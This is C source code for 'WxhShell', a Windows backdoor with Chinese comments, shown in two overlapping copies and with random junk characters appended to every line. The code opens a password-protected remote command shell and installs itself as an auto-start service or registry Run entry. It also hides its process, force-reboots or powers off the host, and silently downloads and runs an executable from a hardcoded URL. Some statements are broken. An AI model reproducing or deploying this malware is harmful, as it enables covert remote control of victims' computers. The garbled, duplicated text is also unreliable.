    if(Boot(SHUTDOWN)) IMrOPwjc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N%E2BJ?  
    else { G*p.JsZP  
    closesocket(wsh); O|zmDp8a+  
    ExitThread(0); ?ML<o>OKg  
    } /M `y LI  
    break; ,5uDEXpt{  
    } 8vo7~6yy  
  // 获取shell zGz'2, o3  
  case 's': { Nh/ArugP5P  
    CmdShell(wsh); @7 HBXP  
    closesocket(wsh); BW=6gZ_  
    ExitThread(0); 5MU@g*gj,C  
    break; *<QL[qyV  
  } 9sU,.T  
  // 退出 &n kGdHX/a  
  case 'x': {  2_v+q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H1i4_T  
    CloseIt(wsh); %-po6Vf  
    break; P,=J"%a-  
    }  HcS^3^Y  
  // 离开 g7f%(W 2dd  
  case 'q': { D|'Z c &  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jt?%03iuk  
    closesocket(wsh); "E!p1  
    WSACleanup(); "fd=(& M*l  
    exit(1); ui0(#2'h%  
    break; D ,^ U%<`  
        } \ jdO,-(  
  } 4tNgK[6M  
  } 8@ g D03  
*.Hnt\4|  
  // 提示信息 ~x|Sv4M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c2:kZxT  
} _tJURk%  
  } qqre d>K  
~2ei+#d!^  
  return; dh`A(B{hfc  
} aJ;R8(*;\  
Nx z ,/d  
// shell模块句柄 O4mWsr  
int CmdShell(SOCKET sock) vAxtN RS  
{ aKr4E3`  
STARTUPINFO si; [c )\?MWW  
ZeroMemory(&si,sizeof(si)); m]pvJJ@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <QLj6#d7Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )@M|YM1+  
PROCESS_INFORMATION ProcessInfo; *9^k^h(r&4  
char cmdline[]="cmd"; B%;+8]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0k]N%!U  
  return 0; 824%]i3  
} :$d3a"]  
kIo?<=F8T  
// 自身启动模式 y%Ah"UY  
int StartFromService(void) -q|M=6gOs  
{ c3-bn #  
typedef struct Gl1$W=pR:  
{ Ia" Mi+{  
  DWORD ExitStatus; e{S`iO  
  DWORD PebBaseAddress; ^@eCT}p{  
  DWORD AffinityMask; zxHfQ(  
  DWORD BasePriority; s#49pDN  
  ULONG UniqueProcessId; PmTd+Gj$  
  ULONG InheritedFromUniqueProcessId; -W vAmi  
}   PROCESS_BASIC_INFORMATION; |8ZAE%/d  
=5F49  
PROCNTQSIP NtQueryInformationProcess; c~;.m<yrf  
\LXNdE2B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H[U*' 2TJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |REU7?B  
q\Z1-sl~s  
  HANDLE             hProcess; i/B"d,=<  
  PROCESS_BASIC_INFORMATION pbi; "E#%x{d  
!OemS 7{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oWOZ0]H1  
  if(NULL == hInst ) return 0; Zwl?*t\D  
Os+ =}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1-<Xi-=^{t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qILr+zH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5J3kQ;5Q?  
'-{jn+,  
  if (!NtQueryInformationProcess) return 0; 2V 'Tt3  
=z.AQe+   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2Ta F7Jn  
  if(!hProcess) return 0; )BDi2: u  
=B2=UF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G9Ezm*I;:  
ST.W{:X   
  CloseHandle(hProcess); qxh\umm+2  
b2H6}s"=w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9!h+LGs(,  
if(hProcess==NULL) return 0; ~.tu#Y?  
K*[wr@)u  
HMODULE hMod; ;rbn/6  
char procName[255]; @,.H)\a4  
unsigned long cbNeeded; dno*Usx5d0  
,B><la87  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ho|n\7$  
uqH ;1T;s  
  CloseHandle(hProcess); un=)k;oh  
Z O^ +KE"  
if(strstr(procName,"services")) return 1; // 以服务启动 )vzT\dQ|  
:=@[FXD4  
  return 0; // 注册表启动 I&0yUhn  
} 9X~^w_cdk  
2(|V1]6D?  
// 主模块 !b=$FOC>  
int StartWxhshell(LPSTR lpCmdLine) ^&%?Q_]  
{ iV=#'yY  
  SOCKET wsl; L3\{{QOA  
BOOL val=TRUE; n\4+xZr  
  int port=0; -TWo-iu^  
  struct sockaddr_in door; ~XRr }z_Lq  
suwj1qYJ4  
  if(wscfg.ws_autoins) Install(); 7[\B{N9&W  
`{":*V   
port=atoi(lpCmdLine); ufOaD7  
<j' #mUzd  
if(port<=0) port=wscfg.ws_port; xPv&(XZR  
nq;)!Wry  
  WSADATA data; U_?RN)>j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b04~z&Xv  
B~IOM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wv$=0zF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %;S5_K,  
  door.sin_family = AF_INET; gg9W7%t/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }sZ]SE  
  door.sin_port = htons(port); /k,p]/e  
t z{]H9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ADDpm-]  
closesocket(wsl); -rfO"D>  
return 1; V !$m{)Y  
} i%iU_`  
Ho/5e*X  
  if(listen(wsl,2) == INVALID_SOCKET) {  W~4|Z=f  
closesocket(wsl); KqQrxi?f-  
return 1; 6pse @x?  
} )m U)7@!  
  Wxhshell(wsl); n3w2&  
  WSACleanup(); ;L7<mU  
=}[V69a  
return 0; A`KTm(  
y? g7sLDc  
} /T@lHxX  
d=pq+  
// 以NT服务方式启动 sC j3h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -?[:Zn~$a  
{ (\T?p9  
DWORD   status = 0; ;Ba f&xK  
  DWORD   specificError = 0xfffffff; Tm `CA0@  
Q. >"@c[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J=sQ].EK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4 _ 3\4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G2rvi=8=  
  serviceStatus.dwWin32ExitCode     = 0; <8Ad\MU  
  serviceStatus.dwServiceSpecificExitCode = 0; PHoW|K_e  
  serviceStatus.dwCheckPoint       = 0; $8Zw<aEJ  
  serviceStatus.dwWaitHint       = 0; Jad'8}0J  
4PdFq*A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0Z\fK>yw  
  if (hServiceStatusHandle==0) return; BB-`=X~:m  
Qk6FK]buV  
status = GetLastError(); +MEWAW[}^  
  if (status!=NO_ERROR) SE\`JGA[  
{ p`It=16trT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qxq ~9\My  
    serviceStatus.dwCheckPoint       = 0; QwiC2}/  
    serviceStatus.dwWaitHint       = 0; h OV+}P6  
    serviceStatus.dwWin32ExitCode     = status; #Jn_"cCRLx  
    serviceStatus.dwServiceSpecificExitCode = specificError; Sb<=ROCg@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,^3D"Tky  
    return; 6 ^p 6v   
  } +um; eL7  
82$^pg>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *{ .u\BL5  
  serviceStatus.dwCheckPoint       = 0; J&5|'yVX  
  serviceStatus.dwWaitHint       = 0; "_^FRz#h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7YsFe6D"  
} cNHN h[ C  
_L"rygit  
// 处理NT服务事件,比如:启动、停止 vUW!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xKxWtZ0  
{ e}kG1C8  
switch(fdwControl) 6>l-jTM  
{ |YH1q1l  
case SERVICE_CONTROL_STOP: dsh}-'>  
  serviceStatus.dwWin32ExitCode = 0; ukN#>e+L1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <1"6`24  
  serviceStatus.dwCheckPoint   = 0; dM QnN[d6  
  serviceStatus.dwWaitHint     = 0; 4m~\S)ad  
  { Axr 'zc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !nu#r$K(  
  } 6A%Y/oU+2  
  return; '?QZ7A  
case SERVICE_CONTROL_PAUSE: i'a M#4V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9J<KR #M  
  break; Th-zMQ4  
case SERVICE_CONTROL_CONTINUE: 4X^0:.bT&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wc;5tb#  
  break; L-fAT'!'  
case SERVICE_CONTROL_INTERROGATE: '+`CwB2  
  break; ( \]_/ W  
}; 3T_-_5[c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <-$4?}  
} > vgqf>)kk  
/OViqZ;9  
// 标准应用程序主函数 f1JvP\I0Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /({5x[  
{ VRD2e ,K  
Blu^\:?#z-  
// 获取操作系统版本 JAgec`T%  
OsIsNt=GetOsVer();  p.zU9rID  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &fW;;>  
-QRKDp  
  // 从命令行安装 &We'omq  
  if(strpbrk(lpCmdLine,"iI")) Install(); J?%Z7&/M>  
B-o"Y'iXs  
  // 下载执行文件 b+{,c@1rd  
if(wscfg.ws_downexe) { }=wSfr9g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0evG  
  WinExec(wscfg.ws_filenam,SW_HIDE); :^l`m9  
} 0^hz1\g  
~=}56yxl[  
if(!OsIsNt) { '?#e$<uS-  
// 如果时win9x,隐藏进程并且设置为注册表启动 H>M0G L  
HideProc(); y1P?A]v  
StartWxhshell(lpCmdLine); ~jJu*s$?  
} gp;(M~we  
else 4H{L>e  
  if(StartFromService()) i<-#yL5  
  // 以服务方式启动 @T1-0!TM')  
  StartServiceCtrlDispatcher(DispatchTable); MYLq2g\  
else zVp|%&  
  // 普通方式启动 X^"95Ic  
  StartWxhshell(lpCmdLine); eGZId v1  
n}a# b%e  
return 0; $.v5G>- )3  
} GK:*|jV  
&bTadd%0  
yBeSvsm  
SdN|-'qf  
=========================================== x_#yH3kJ  
|rsu+0Mtz  
='>k|s:  
+i{&"o4}  
D_'Zucq  
B>gC75  
" ^lbOv}C*  
F)!B%4  
#include <stdio.h> sA:0b5_a  
#include <string.h> o:m:9dn  
#include <windows.h> }(ot IqE  
#include <winsock2.h> >a Q; 8  
#include <winsvc.h> TqCzpf&&h/  
#include <urlmon.h> CI ~+(+q  
Zb3E-'G+  
#pragma comment (lib, "Ws2_32.lib") ln9U>*<  
#pragma comment (lib, "urlmon.lib") =U2`]50  
RKRk,jRL  
#define MAX_USER   100 // 最大客户端连接数 }[? X%=  
#define BUF_SOCK   200 // sock buffer  gryC#  
#define KEY_BUFF   255 // 输入 buffer mR?OSeeB  
R$wo{{KX  
#define REBOOT     0   // 重启 s!uewS.  
#define SHUTDOWN   1   // 关机 km.xy_v  
v"\Q/5p  
#define DEF_PORT   5000 // 监听端口 o)srE5  
D L<r2h  
#define REG_LEN     16   // 注册表键长度 4,UvTw*2z  
#define SVC_LEN     80   // NT服务名长度 >|mmJ4T  
.z)&#2E  
// 从dll定义API 'd'*4 )]k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ga0W;Vq&X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q;Xb-\\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q=Q5s?sQc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N(6|TE2  
=[3I#s?V  
// wxhshell配置信息 Lw1~$rZg  
struct WSCFG { 3/P2&m  
  int ws_port;         // 监听端口 0vf2wBK'T  
  char ws_passstr[REG_LEN]; // 口令 pv;}Sv$ ]-  
  int ws_autoins;       // 安装标记, 1=yes 0=no l. !5/\  
  char ws_regname[REG_LEN]; // 注册表键名 }D{y u+)  
  char ws_svcname[REG_LEN]; // 服务名 |-=^5q5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ' !ZFK}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T^%$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 px" .pYr0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S"V|BU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _L<IxOZh+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FNtcI7  
44]/rP_m  
}; 9^x'x@6  
&qF   
// default Wxhshell configuration [$ vAjP  
struct WSCFG wscfg={DEF_PORT, ESL(Mf'  
    "xuhuanlingzhe", V1,O7m+F2  
    1, [C.Pzo  
    "Wxhshell", [r<lAS{ .  
    "Wxhshell", ldO6W7 G|h  
            "WxhShell Service", vrLI`3n]  
    "Wrsky Windows CmdShell Service", 1s"6  
    "Please Input Your Password: ", pk:YjJs  
  1, xOp8[6Ga'  
  "http://www.wrsky.com/wxhshell.exe", rs`H':a/  
  "Wxhshell.exe" q!t_qX7u  
    }; XSkx<"U*  
P0Z1cN}  
// 消息定义模块 [2WJ>2r}6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mtOCk 5E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E0o=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i9 8T+{4  
char *msg_ws_ext="\n\rExit."; gk1I1)p  
char *msg_ws_end="\n\rQuit."; YP5V~-O/  
char *msg_ws_boot="\n\rReboot..."; .r[kNh@ b%  
char *msg_ws_poff="\n\rShutdown..."; !:'%'@uc  
char *msg_ws_down="\n\rSave to "; $2~I-[  
f4@>7K]9TA  
char *msg_ws_err="\n\rErr!"; 0V }knR.l  
char *msg_ws_ok="\n\rOK!"; 'x$>h)t]  
VK5|w:  
char ExeFile[MAX_PATH]; 9|jk=`4UK  
int nUser = 0; Z ^zUb  
HANDLE handles[MAX_USER]; 9~J  
int OsIsNt; 3){ /u$iH.  
b%z4u0  
SERVICE_STATUS       serviceStatus; )#%k/4(Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /{gCf  
/4}{SE  
// 函数声明 07:CcT  
int Install(void); oj/,vO:QT  
int Uninstall(void); )S]4 Kt_  
int DownloadFile(char *sURL, SOCKET wsh); z^;*&J   
int Boot(int flag); $DuX1T  
void HideProc(void); 4 Z.G  
int GetOsVer(void); tF}Vs}  
int Wxhshell(SOCKET wsl); c!{v/zOz  
void TalkWithClient(void *cs); ROw9l!YF  
int CmdShell(SOCKET sock); ]2`PS<a2  
int StartFromService(void); X~(%Y#6  
int StartWxhshell(LPSTR lpCmdLine); 3C=ON.1eg  
~G+o;N,V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vN=e1\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p~vq1D6  
5xtIez]x?  
// 数据结构和表定义 zZ@]Kq;.s  
SERVICE_TABLE_ENTRY DispatchTable[] = 2y s'q !  
{ By%mJ%$~  
{wscfg.ws_svcname, NTServiceMain}, WqlX'tA  
{NULL, NULL}  ky0Fm W  
}; z~i=\/~tZ  
Yx>y(Whu.  
// 自我安装 16Ym*kWIps  
int Install(void) V<A_c^unO  
{ EdbL AagI6  
  char svExeFile[MAX_PATH]; ;4tmnC>OnA  
  HKEY key; M@ t,P?  
  strcpy(svExeFile,ExeFile); > 1 {V  
B! $a Y  
// 如果是win9x系统,修改注册表设为自启动 f mXU)  
if(!OsIsNt) { mltG4R ?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0n` 1GU)W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2mg4*Ys  
  RegCloseKey(key); U>PF#@ C/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vs]#?3+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _1 TSt%L  
  RegCloseKey(key); sq1Z;l31"  
  return 0; a"ZBSg(  
    } -L<''2t  
  } NZ`Mq  
} XMzL\Edo  
else { >T: Yp<  
%P05k  
// 如果是NT以上系统,安装为系统服务 6P@3UQ)}s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8#b>4 Dx  
if (schSCManager!=0) 5:ca6 H  
{ t 1gH9  
  SC_HANDLE schService = CreateService \i%h/Ao  
  ( $n>|9(K8  
  schSCManager, EA_6L\+8&  
  wscfg.ws_svcname,  o0t/  
  wscfg.ws_svcdisp, C QO gR GW  
  SERVICE_ALL_ACCESS, unn2MP'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \@6P A  
  SERVICE_AUTO_START, _o'_ z ]  
  SERVICE_ERROR_NORMAL, QhV!%}7  
  svExeFile, zfAHE {c  
  NULL, 0`y;[qAG[  
  NULL, yf5X=f.%@  
  NULL, )Nv$ SH  
  NULL, f~nAJ+m=  
  NULL q):Ph&'r  
  ); ,I# X[^/  
  if (schService!=0) z@5t7e)!R  
  { (9R;a np  
  CloseServiceHandle(schService); ~{MmUp rS  
  CloseServiceHandle(schSCManager); u7R:7$H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pI*/ - !I  
  strcat(svExeFile,wscfg.ws_svcname); c}(fmJB&(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E07g^y"}i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K& / rzs-  
  RegCloseKey(key); <~ E'% 60;  
  return 0; m E<n=g=  
    } ,#;%ILF4%  
  } 2Hltgt,  
  CloseServiceHandle(schSCManager); O{WJi;l  
} ^ ]Mlkd:  
} } ti+tM*  
:i'jQ<|wZN  
return 1; ~]t/|xep  
} )<W6cDx'H+  
eLC}h %  
// 自我卸载 nU]4)t_o\  
int Uninstall(void)  =FZt  
{ eq>E<X#<  
  HKEY key; r[ 2N;U  
GWP;; x%  
if(!OsIsNt) { X2ShxD|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7|=*z  
  RegDeleteValue(key,wscfg.ws_regname); JUBihw4  
  RegCloseKey(key); }M%U}k]+@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e> "/Uii  
  RegDeleteValue(key,wscfg.ws_regname); "n'LF?/H'  
  RegCloseKey(key); ;Kb]v\C:  
  return 0; l+$ e|F  
  } $'M:H_T  
} .^]=h#[e  
} >C|/%$kk:f  
else { OW$? 6  
"f'pa&oHi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bvM\Qzc!<3  
if (schSCManager!=0) |UbwPL_L  
{ xxnMvL;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $O|J8;"v  
  if (schService!=0) Rx e sK  
  { 6.fahg?E  
  if(DeleteService(schService)!=0) { +{* @36A5A  
  CloseServiceHandle(schService); )2c[]d /a4  
  CloseServiceHandle(schSCManager); Mk-C&#'  
  return 0; **jD&h7$s-  
  } K%TlBK V  
  CloseServiceHandle(schService); dL9QYIfP  
  } hGc')  
  CloseServiceHandle(schSCManager); {. r/tV5IH  
} N?j,'gy4  
} tmAc=?|Wa  
q#W7.8 Z@  
return 1; cB5|% @$I  
} i Rwqt-WZ  
g2 dvs  
// 从指定url下载文件 U4hsbraz  
int DownloadFile(char *sURL, SOCKET wsh)  imE5 $;  
{ qGS]2KY  
  HRESULT hr; | ?Js)i  
char seps[]= "/"; pq;)l( Hi  
char *token; @C),-TM  
char *file; 41swG  
char myURL[MAX_PATH]; 4v#3UG  
char myFILE[MAX_PATH]; EFl[u+ 1tx  
8e_ITqV%  
strcpy(myURL,sURL); =A,32&;@N  
  token=strtok(myURL,seps); V0p@wG3  
  while(token!=NULL) Q^q G=  
  { x)@G+I \u  
    file=token; @21G[!%J  
  token=strtok(NULL,seps); ]# hT!VOd  
  } 9gMNS6D'b  
5p&&EA/  
GetCurrentDirectory(MAX_PATH,myFILE); G $u:1&   
strcat(myFILE, "\\"); maANxSzi  
strcat(myFILE, file); !" E&Tk}  
  send(wsh,myFILE,strlen(myFILE),0); g+ `Ie'o<  
send(wsh,"...",3,0); Zxw>|eKI>D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _"`wUMee  
  if(hr==S_OK) r1cB<-bJ#'  
return 0; 1KxtHLLU  
else B8'(3&)My  
return 1; MI[=,0`D  
%v++AcE  
} xBGSj[1`i  
eW*nRha  
// 系统电源模块 9.5hQZ  
int Boot(int flag) B1@c`BJ;9T  
{ [ @> 8Qhw  
  HANDLE hToken; !:3NPjhf1Y  
  TOKEN_PRIVILEGES tkp; ?9q{b\=l  
_96hw8  
  if(OsIsNt) { i3 k ',8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DBi3 j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); * wN+Ak q  
    tkp.PrivilegeCount = 1; UP:+1Sp9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &libC>a[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3"'|Ql.H  
if(flag==REBOOT) { ]3#_BL)M8p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U[~BW[[@f  
  return 0; ~..h=  
} tZ1iaYbvV  
else { Ch ` Omq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (mHFyEG  
  return 0; m,e1:Nk<  
} <wTkPErUG  
  } qv3L@"Ub  
  else { rS9*_-NH  
if(flag==REBOOT) { M3 8,SH<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n15c1=gs  
  return 0; z x{\SU  
} Qwx}e\=  
else { h B<.u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y VTY{>Q  
  return 0; C<A82u;t%@  
} \@4QG.3&  
} K)GC&%_$O  
Cg 85  
return 1; o <LA2 q`T  
} ihH!"HH+  
b]6;:Q!d  
// win9x进程隐藏模块 />\.zuAr&  
void HideProc(void) J.":oD  
{  6" 3!9JC  
^~MHxF5d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;,*U,eV  
  if ( hKernel != NULL ) B!< {s'  
  { -'k<2"z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nngL,-v#F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s@o"V >t  
    FreeLibrary(hKernel); C%#C|X193  
  } XuHJy  
n*D)RiW  
return; Uk ?V7?&  
} oTOe(5N8a  
}W<]fK  
// 获取操作系统版本 sr#, S(p  
int GetOsVer(void) _?Jm.nT  
{ !0`ZK-nA6  
  OSVERSIONINFO winfo; NLb/Bja  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D'O[0?N"g  
  GetVersionEx(&winfo); z[qM2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hFa\x5I5  
  return 1; CNcH)2Mk  
  else 0e8)*2S  
  return 0; m{Q{ qJ5>  
} 6?}8z q[  
R|NmkqTK~(  
// 客户端句柄模块 bz H5Lc{%  
int Wxhshell(SOCKET wsl) OAw/  
{ Q*$x!q  
  SOCKET wsh; TQ@*eoJj  
  struct sockaddr_in client; lKIHBi  
  DWORD myID; \ox:/-[c\<  
C&Nd|c  
  while(nUser<MAX_USER) a((5_8SX5  
{ 2T?t[;-  
  int nSize=sizeof(client); u[2R>=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (U/[i.r5Cj  
  if(wsh==INVALID_SOCKET) return 1; !^q<)!9<EO  
mMT7`r;l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jy@}$g{  
if(handles[nUser]==0) pSq\3Hp]Q  
  closesocket(wsh); `-ENKr]  
else lu-VBVwR  
  nUser++; 4KybN  
  } :Np&G4IM>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ev0V\tl>0  
=NJb9S&8A  
  return 0; 3CQpe  
} @292;qi  
Y/Y746I  
// 关闭 socket W,Dr2$V  
void CloseIt(SOCKET wsh) i8HSYA  
{ ~,':PUkiV  
closesocket(wsh); %I Y-0\  
nUser--; 8Qu].nKe  
ExitThread(0); [zf9UUc~  
} f.+e  
|BYD]vK  
// 客户端请求句柄 ]iLfe&f  
void TalkWithClient(void *cs) d2X#_(+d  
{ 9lTA/-  
7Ox vq^[  
  SOCKET wsh=(SOCKET)cs; (2qo9j"j/Y  
  char pwd[SVC_LEN]; HTx7._b  
  char cmd[KEY_BUFF]; o ]Vx6  
char chr[1]; W97Ka}Y  
int i,j; nsgNIE{>gO  
Vp5qul%  
  while (nUser < MAX_USER) { I8^z\ef&  
j-{WPJa4\  
if(wscfg.ws_passstr) { 8-8= \  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #On1Q:d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L**!$k"{5  
  //ZeroMemory(pwd,KEY_BUFF); I[t)V*L9  
      i=0; 6dq U4  
  while(i<SVC_LEN) { )sNtw Sl^  
3wR5:O$H  
  // 设置超时 hDp'=}85@  
  fd_set FdRead; N;[w`d'#  
  struct timeval TimeOut; +}9%Duim  
  FD_ZERO(&FdRead); yxA0#6so  
  FD_SET(wsh,&FdRead); 5@ ZD'  
  TimeOut.tv_sec=8; X#eVw|  
  TimeOut.tv_usec=0; Pi*,&D>{7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b:%>T PT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /h2`?~k+  
O4$: xjs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u%*;gu"2  
  pwd=chr[0]; 'inWV* P*g  
  if(chr[0]==0xd || chr[0]==0xa) { I/^Lr_\  
  pwd=0; ?'_iqg3  
  break; N pRC3^  
  } ?+Qbr$]  
  i++; (x=NA )  
    } Mu:*(P/  
#lVVSrF,-  
  // 如果是非法用户,关闭 socket kP;Rts8JD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z5Nw+#m| i  
} 4L5Wa~5\  
$V\xN(Ed  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lXz<jt@5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Vvy:<.la  
!EKF^n6  
while(1) { 45-pJf8F  
((?^B  
  ZeroMemory(cmd,KEY_BUFF); Jn:GqO  
9CL&tpqv f  
      // 自动支持客户端 telnet标准   zSq+#O1#  
  j=0; kF\ QO [  
  while(j<KEY_BUFF) {  %gf8'Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D@j `'&G  
  cmd[j]=chr[0]; 2+?M(=4  
  if(chr[0]==0xa || chr[0]==0xd) { +F0M?,  
  cmd[j]=0; zR`]8E]  
  break; x3M`l|  
  } i.byHz?/  
  j++; ^AEg?[q  
    } /Hd\VI  
O~xc> w  
  // 下载文件 ;CU3CLn  
  if(strstr(cmd,"http://")) { ="I]D I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pp.X Du  
  if(DownloadFile(cmd,wsh)) K, 35*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EIf~>AI  
  else ("9)=x*5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o\2#}eie  
  } N:&Gv'`  
  else { *~-~kv4-  
E&"bgwav{(  
